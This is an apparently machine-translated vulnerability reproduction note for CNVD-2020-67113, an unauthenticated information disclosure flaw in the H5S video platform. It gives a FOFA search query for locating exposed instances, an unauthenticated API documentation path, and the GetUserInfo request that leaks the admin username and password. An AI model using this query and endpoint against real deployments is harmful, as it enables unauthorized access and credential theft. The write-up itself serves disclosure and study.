Zero view h5s video platform getUserInfo information disclosure vulnerability cnvd-2020-67113

Zero vision technology H5S Video platform GetUserInfo Information leaks CNVD-2020-67113

This article is only for study , It is strictly forbidden to use it for illegal purposes , Otherwise, we will be responsible for the consequences .

Vulnerability profile

Zero view technology ( Shanghai ) Ltd. is a leading video technology to serve customers , We are committed to simplifying the development of Internet of things video , Depending on HTML5 WebRTC And so on , Realize the simplification of video playback on the whole platform . Zero view technology ( Shanghai ) Co., LTD. H5S CONSOLE There is an unauthorized access vulnerability . An attacker can use the vulnerability to access the corresponding port in the background , Perform unauthorized operation .

Holes affect

Zero vision technology H5S Video platform

FOFA grammar

title="H5S Video platform |WEB"

Loophole recurrence

The login page

API Documents can be accessed without authorization

/doc/api.html

There is an interface with user account and password disclosure

/api/v1/GetUserInfo?user=admin&session=